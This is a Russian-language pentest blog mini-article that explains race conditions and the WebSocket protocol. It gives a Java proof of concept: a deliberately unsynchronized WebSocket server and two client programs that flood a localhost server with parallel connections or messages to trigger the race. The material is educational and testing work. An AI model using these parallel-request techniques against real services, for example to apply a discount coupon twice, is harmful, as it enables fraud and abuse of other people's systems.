Это мини-статья для ознакомления с атакой на Websocket. Для начала разберёмся, что такое Websocket шучу, это вы можете прочесть в прошлой статье "WebSocket. Краткий экскурс в пентест ping-pong протокола", но тут я только затрону основное. Нужно разобраться с другим - "Что такое Race condition(состояние гонки)?". Начнем именно с этого, но пока не больше основ, т.к. сейчас готовиться крупная статья по данной теме, думаю управиться за пару недель.
Приятного чтения
Помните, что использование полученных знаний и навыков должно быть ограничено законными и этическими рамками, и вмешательство в чужие сети без разрешения является неприемлемым и незаконным действием.
Оглавление
Что такое Race condition?
Race condition - это ситуация, при которой несколько потоков (или процессов) одновременно пытаются выполнить операции чтения или записи к общим ресурсам без должной синхронизации. Представить можно в формате очереди, один за одним.

Сложно? Я Вас понимаю, при разборе тем, всегда так, но представьте площадку наподобие Я.маркет, где присутствуют купоны на скидку в 10% «best10». Два потока могут одновременно запросить базу данных и подтвердить, что код скидки «best10» не был применен к корзине, затем оба попытаются применить скидку, в результате чего она будет применена дважды. Обратите внимание на то, что «гоночные» условия не ограничиваются конкретной архитектурой веб‑приложений. Проще всего рассуждать о многопоточном приложении с одной базой данных, но в более сложных системах состояние обычно хранится в еще большем количестве мест. Однопоточные системы, такие как NodeJS, чуть менее уязвимы, но все равно, есть вероятность возникновения подобных проблем.

Что такое Websocket?
WebSocket (веб-сокет) - это протокол для двусторонней связи между клиентом и сервером через веб-соединение. Он предоставляет возможность передавать данные в режиме реального времени без необходимости постоянного запроса к серверу. WebSocket обеспечивает более эффективное соединение и не такие накладные расходы на его организацию, чем традиционные методы - например, HTTP-запросы и ответы.
Протокол имеет две схемы URI:
ws: / host [: port] path [? query]для обычных соединений.wss: / host [: port] path [? query]для туннельных соединений TLS.
Вот основные характеристики и особенности WebSocket:
Установка соединения: WebSocket начинается с установки соединения через HTTP (обычно используется стандартный порт 80 или защищенный порт 443). После успешной установки соединения клиент и сервер могут обмениваться данными в реальном времени;
Двусторонняя связь: WebSocket поддерживает как отправку данных от клиента к серверу, так и от сервера к клиенту. Это позволяет строить интерактивные веб-приложения, где клиент и сервер могут обмениваться информацией без задержек;
Низкая задержка: WebSocket обеспечивает низкую задержку (лаг) по сравнению с традиционными методами долгого опроса (long polling) или периодическими запросами;
Протокол на основе кадров (frame-based protocol): Данные в WebSocket упаковываются в кадры (frames), что делает их эффективными для передачи и обработки;
Поддержка защиты (Security): WebSocket может использовать шифрование для обеспечения безопасности передаваемых данных, используя
wss://вместоws://в URL;Поддержка разных типов данных: WebSocket позволяет передавать различные типы данных, включая текст, бинарные данные и даже произвольные объекты;
Событийная модель: WebSocket использует событийную модель для обработки входящих данных. Это означает, что Вы можете реагировать на события, такие как открытие соединения, получение сообщения или закрытие соединения.
Пример использования WebSocket:
Установка соединения:
Клиент отправляет HTTP-запрос на сервер с заголовком "Upgrade: websocket".
Если сервер поддерживает WebSocket, он возвращает HTTP-ответ с заголовком
Upgrade: websocket, и соединение переключается на WebSocket.
Обмен данными:
Клиент и сервер могут отправлять друг другу текстовые или бинарные кадры через установленное соединение.
Закрытие соединения:
Клиент или сервер могут закрыть соединение по желанию, отправив специальный кадр.
Для лучшего понимания, представьте настольный теннис. Сервер периодически присылает ответ по WS с просьбой о действии - послать запрос на сервер. Если клиент отвечает до истечения тайм-аута — он подключен, если нет, то происходит разрыв соединения до следующего рукопожатия. Как и говорилось в предисловии, вот ссылка на полною статью для глубокого изучения.
Демонстрация или доказательство концепции
Мне понравилось короткое исследование, которое я возьму за основу.
Для демонстрации этой концепции в данной статье приводится Java-код, представляющий собой WebSocket-сервер, взаимодействующий с базой данных PostgreSQL. Сервер использует библиотеку Java-WebSocket для обработки WebSocket-соединений и выполняет следующие задачи:
После запуска программы Java-код подключается к базе данных и проверяет, существует ли таблица "example". Если она не существует, то создается таблица и в нее вставляются произвольные данные:
RandomName0
RandomName1
...
RandomName9
Наиболее интересный код находится в функции "onMessage".
public static int a = 0; @Override public void onMessage(WebSocket conn, String message) { if (a == 0) { try { int rowCount = getCountFromExampleTable(); } catch (SQLException e) { System.out.println("Error executing query: " + e.getMessage()); } conn.send("Echo: " + message); a = a + 1; System.out.println(a); } }
Имеется глобальная переменная "a", инициализированная в 0. Когда клиент подключается к серверу и отправляет сообщение, он проверяет, что "id == 0", указывая, была ли уже выполнена эта функция. Если нет, то выполняется простая SQL-команда для выбора количества строк из таблицы "example". Затем "a" увеличивается на 1, и его значение выводится на печать. И теоретически функция не должна выполняться 2 раза.
Что касается клиента, то было создано два типа: "WebSocketParallel_Success"
package io.redrays.ws.concept.client; import org.java_websocket.client.WebSocketClient; import org.java_websocket.handshake.ServerHandshake; import java.net.URI; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; public class WebSocketParallel_Success { public static void main(String[] args) { // Определение URI сервера WebSocket String serverUri = "ws://127.0.0.1:8080"; // Количество создаваемых WebSocket-клиентов int numClients = 100; // Создание ExecutorService для управления несколькими клиентскими потоками WebSocket ExecutorService executor = Executors.newFixedThreadPool(numClients); // Создание списка для хранения экземпляров клиентов WebSocket List<WebSocketClient> clients = new ArrayList<>(); // Цикл для создания и настройки нескольких клиентов WebSocket for (int i = 0; i < numClients; i++) { int clientId = i + 1; try { // Создание WebSocket-клиент для каждого соединения WebSocketClient webSocketClient = new WebSocketClient(new URI(serverUri)) { @Override public void onOpen(ServerHandshake handshakedata) { // Обработка события открытия WebSocket-соединения System.out.println("Client " + clientId + " connected to the WebSocket server"); this.send("Hello, WebSocket server! From client " + clientId); } @Override public void onMessage(String message) { // Обработка входящих сообщений WebSocket System.out.println("Client " + clientId + " received message: " + message); } @Override public void onClose(int code, String reason, boolean remote) { // Обработка события закрытия WebSocket-соединения System.out.println("Client " + clientId + " connection closed: " + reason); } @Override public void onError(Exception ex) { // Обработка ошибок WebSocket System.out.println("Client " + clientId + " error occurred: " + ex.getMessage()); } }; // Добавление WebSocket-клиента в список clients.add(webSocketClient); // Подключение клиента WebSocket в отдельном потоке executor.submit(webSocketClient::connect); } catch (URISyntaxException e) { System.out.println("Invalid WebSocket server URI: " + e.getMessage()); } } // Выключение исполнителя после выполнения всех заданий executor.shutdown(); // Ожидание завершения работы всех клиентских потоков WebSocket try { executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS); } catch (InterruptedException e) { System.out.println("Interrupted while waiting for tasks to complete: " + e.getMessage()); } } }
и "WebSocketParallel_Failed".
package io.redrays.ws.concept.client; import org.java_websocket.client.WebSocketClient; import org.java_websocket.handshake.ServerHandshake; import java.net.URI; import java.net.URISyntaxException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; public class WebSocketParallel_Failed { public static void main(String[] args) { String serverUri = "ws://127.0.0.1:8080"; // URI сервера WebSocket int numParallelRequests = 285; // Количество параллельных WebSocket-запросов try { WebSocketClient webSocketClient = new WebSocketClient(new URI(serverUri)) { // Этот метод вызывается при успешном открытии WebSocket-соединения @Override public void onOpen(ServerHandshake handshakedata) { System.out.println("Connected to the WebSocket server"); // Создание фиксированного пула потоков для управления параллельными запросами ExecutorService executor = Executors.newFixedThreadPool(numParallelRequests); for (int i = 0; i < numParallelRequests; i++) { int messageId = i + 1; executor.submit(() -> { this.send("Hello, WebSocket server! Message ID: " + messageId); System.out.println("Sent message with ID: " + messageId); }); } // Выключение исполнителя после выполнения всех заданий executor.shutdown(); // Ожидание завершения выполнения заданий try { executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS); } catch (InterruptedException e) { System.out.println("Interrupted while waiting for tasks to complete: " + e.getMessage()); } } // Этот метод вызывается при получении сообщения WebSocket. @Override public void onMessage(String message) { System.out.println("Received message: " + message); } // Этот метод вызывается при закрытии WebSocket-соединения. @Override public void onClose(int code, String reason, boolean remote) { System.out.println("Connection closed: " + reason); } // Этот метод вызывается при возникновении ошибки в соединении WebSocket @Override public void onError(Exception ex) { System.out.println("Error occurred: " + ex.getMessage()); } }; // Подключение к серверу WebSocket webSocketClient.connect(); } catch (URISyntaxException e) { System.out.println("Invalid WebSocket server URI: " + e.getMessage()); } } }
Были предприняты попытки создать состояние гонки двумя различными методами. В первом файле параллельно создается несколько соединений, и данные отправляются на сервер, а во втором - устанавливается только одно соединение, но данные отправляются последовательно друг за другом.
Как видно из названий классов, при параллельном создании нескольких соединений и отправке данных возникнет состояние гонки. Однако во втором случае оно не возникнет, поскольку WebSockets передают данные последовательно в одном соединении.
Как видно из приведенного ниже скриншота и видео, условия гонки могут возникать.

Заключение
Сегодня Я и автор исследования попытались дать новые знания Вам - читателям блога. В перерывах между крупными исследованиями и написанием статей, постараюсь Вас радовать подобными мини-статьями.
Спасибо за внимание ^-^
P.S. Больше подобной информации и хороших мемов Вы сможете найти тут